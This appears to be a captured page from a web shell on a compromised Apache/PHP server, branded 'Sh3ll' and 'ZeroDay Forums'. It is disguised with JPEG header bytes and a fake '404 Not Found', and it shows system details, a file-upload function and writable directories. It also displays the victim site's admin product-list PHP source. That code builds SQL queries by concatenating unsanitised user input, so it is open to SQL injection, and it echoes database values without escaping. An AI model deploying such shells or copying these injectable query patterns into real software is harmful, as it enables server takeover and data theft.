ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/oladi/code/admin/product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/oladi/code/admin/product/list.php
<?php
function showCategories_option($arr_menus, $parent_id = 0, $char = '')
{
    foreach ($arr_menus as $key => $item)
    {
        if ($item['menus_parentid'] == $parent_id)
        {
            echo '<option value="'.$item['menus_id'].'">';
            echo $char . $item['menus_name'];
            echo '</option>';
            unset($arr_menus[$key]);
            showCategories_option($arr_menus, $item['menus_id'], $char.'+');
        }
    }
}
$query = $DB->query("SELECT * FROM tb_category WHERE 1 ORDER BY `category_pos` ASC");
$arr_menus = array();
while($row = $DB->fetch_row($query))
{
    $arr_menus[] = $row;
}
$s = array();
$param_search = '';
$where = ' AND product_id>0 ';
if(isset($CORE->input['s'])){
    $s = $CORE->input['s'];
    foreach ($s as $key=>$val){
        if($val!='') {
            $param_search .= 's['.$key.']='.trim($val).'&';
            if($key=='menus_id'){
                $where .= " AND product_id IN (SELECT product_id FROM tb_menus_pages WHERE menus_id='".$val."' ) ";
            }
            if($key=='active_status'){
                $where .= " AND truyen_active_status='".$val."' ";
            }
            if($key=='status'){
                $where .= " AND truyen_status='".$val."' ";
            }
            if($key=='truyen_type'){
                $where .= " AND truyen_type='".$val."' ";
            }
            if($key=='keyword'){
                $where .= " AND (name LIKE '%".$val."%' OR truyen_fname LIKE '%".$val."%' OR truyen_othername LIKE '%".$val."%' ) ";
            }
        }
    }
}
$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 20;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_product WHERE 1 ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$query = $DB->query("SELECT * FROM tb_product WHERE 1 ".$where." ORDER BY time_post DESC LIMIT $from, $pageSize");
$list = '';
while ($row = $DB->fetch_row($query)){
    /*$arr_category_fname = explode('@',$row['cat_slug']);
    $q_category = $DB->query(" SELECT * FROM tb_category WHERE category_fname IN ('".$category_fname."') ");
    $arr_menu = array();
    $arr_color = array('text-primary','text-secondary','text-success','text-danger','text-warning','text-info','text-dark');
    while ($r_menu_page = $DB->fetch_row($q_menu_page)){
        $arr_menu[]='<a href="?act=admin&code=product&s[menus_id]='.$r_menu_page['menus_id'].'" style="font-size:11px;" class="'.$arr_color[array_rand($arr_color)].'">'.$r_menu_page['menus_name'].'</a>';
    }
    $txt_menu = '';
    if(!empty($arr_menu)){
        $txt_menu .= implode(', ',$arr_menu);
    }*/
    $list .= '<tr><td><input type="checkbox" value="'.$row['product_id'].'" name="id[]"></td><td><nobr><a href="?act=admin&code=product&type=post&id='.$row['product_id'].'">'.$row['name'].'</a></nobr><br/>'.$row['brand_name'].'</td><td>'.$row['price'].'</td><td><img src="'.$row['truyen_thumb'].'" style="width: 60px;"></td><td>'.date('d-m-Y',strtotime($row['time_post'])).'</td><td>'.$row['truyen_active_status'].'</td><td>'.$row['truyen_sochuong'].'</td><td><nobr><a href="?act=admin&code=product&type=post&id='.$row['product_id'].'"><i class="far fa-edit"></i> Edit</a>  <a href="?act=admin&code=product&type=chapter&id='.$row['product_id'].'"><i class="fas fa-list-ol"></i> Chap</a> <a href="javascript:void(0);" onclick="if(confirm(\'Are you sure?\')){ open_popup(\'?act=admin&code=product&type=del&id='.$row['product_id'].'\',\'Delete\');}"><i class="far fa-trash-alt"></i> Delete</a></nobr></td>';
}
$nav = $print->Pagination($totalPage,$pageNum,'pages','?act=admin&code=product&'.$param_search);

if(isset($CORE->input['type2']) && $CORE->input['type2']!=''){
    $type2 = trim($CORE->input['type2']);
    switch ($type2){
        /*case 'del_posts':
            $arr_id = $CORE->input['id'];
            foreach ($arr_id as $val){
                $id = $val;
                $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_pages WHERE id='$id'"));
                if($row_check){
                    if($row_check['path_img']!='' && file_exists($row_check['path_img'])){
                        unlink($row_check['path_img']);
                    }
                }
                $DB->query("DELETE FROM tb_pages WHERE id='$id'");
                $DB->query("DELETE FROM tb_menus_pages WHERE pages_id='$id'");

            }
            $print->refresh('?act=admin&code=product');
            break;*/
        case 'active_posts':
            $arr_id = $CORE->input['id'];
            foreach ($arr_id as $val) {
                $id = $val;
                $DB->query("UPDATE tb_truyen SET truyen_active_status='Active' WHERE product_id='$id' ");
            }
            $print->refresh('?act=admin&code=product');
            break;
        case 'deactive_posts':
            $arr_id = $CORE->input['id'];
            foreach ($arr_id as $val) {
                $id = $val;
                $DB->query("UPDATE tb_truyen SET truyen_active_status='Deactive' WHERE product_id='$id' ");
            }
            $print->refresh('?act=admin&code=product');
            break;
        case 'noibat_posts':
            $arr_id = $CORE->input['id'];
            foreach ($arr_id as $val) {
                $id = $val;
                $DB->query("UPDATE tb_pages SET noibat='1' WHERE id='$id' ");
            }
            $print->refresh('?act=admin&code=product');
            break;
        case 'huynoibat_posts':
            $arr_id = $CORE->input['id'];
            foreach ($arr_id as $val) {
                $id = $val;
                $DB->query("UPDATE tb_pages SET noibat='0' WHERE id='$id' ");
            }
            $print->refresh('?act=admin&code=product');
            break;
    }
}
?>

ZeroDay Forums Mini